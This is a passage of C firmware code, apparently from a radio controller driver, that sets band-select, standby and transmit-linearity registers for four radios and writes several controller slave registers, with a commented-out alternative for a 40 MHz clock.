REG_RAD3_BAND_SELECT = (short)0x1822;
REG_RAD4_BAND_SELECT = (short)0x1822;
/// **** to shift to a 40MHz clock use next set of lines instead of previous set
//transmit((volatile)baseaddr, 0x18245);
//REG_RAD1_BAND_SELECT = (short)0x1824;
//REG_RAD2_BAND_SELECT = (short)0x1824;
//REG_RAD3_BAND_SELECT = (short)0x1824;
//REG_RAD4_BAND_SELECT = (short)0x1824;
unsigned int reg2 = REG_RAD1_STANDBY | 0x2000;
transmit(((reg2<<4)+0x0002));
REG_RAD1_STANDBY = (short)reg2;
REG_RAD2_STANDBY = (short)reg2;
REG_RAD3_STANDBY = (short)reg2;
REG_RAD4_STANDBY = (short)reg2;
unsigned int reg5 = REG_RAD1_BAND_SELECT | 0x2000;
transmit(((reg5<<4)+0x0005));
REG_RAD1_BAND_SELECT = (short)reg5;
REG_RAD2_BAND_SELECT = (short)reg5;
REG_RAD3_BAND_SELECT = (short)reg5;
REG_RAD4_BAND_SELECT = (short)reg5;
unsigned int reg9 = REG_RAD1_TX_LINEARITY | 0x0003;
transmit(((reg9<<4)+0x0009));
REG_RAD1_TX_LINEARITY = (short)reg9;
REG_RAD2_TX_LINEARITY = (short)reg9;
REG_RAD3_TX_LINEARITY = (short)reg9;
REG_RAD4_TX_LINEARITY = (short)reg9;
RADIO_CONTROLLER_mWriteSlaveReg13((volatile)baseaddr,(unsigned int)((50 << 24) + (0 << 16) + (0 << 8) + 0));
RADIO_CONTROLLER_mWriteSlaveReg14((volatile)baseaddr,(unsigned int)((50 << 24) + (0 << 16) + (0 << 8) + 0));
RADIO_CONTROLLER_mWriteSlaveReg15((volatile)baseaddr,(unsigned int)((50 << 24) + (0 << 16) + (0 << 8) + 0));
RADIO_CONTROLLER_mWriteSlaveReg16((volatile)baseaddr,(unsigned int)((50 << 24) + (0 << 16) + (0 << 8) + 0));
RADIO_CONTROLLER_mWriteSlaveReg9((volatile)baseaddr,(unsigned int)((0x3F << 26) | (0xF << 22) | ((2) << 18)));
RADIO_CONTROLLER_mWriteSlaveReg10((volatile)baseaddr,(unsigned int)((0x3F << 26) | (0xF << 22) | ((2) << 18)));
RADIO_CONTROLLER_mWriteSlaveReg11((volatile)baseaddr,(unsigned int)((0x3F << 26) | (0xF << 22) | ((2) << 18)));
RADIO_CONTROLLER_mWriteSlaveReg12((volatile)baseaddr,(unsigned int)((0x3F << 26) | (0xF << 22) | ((2) << 18)));
}
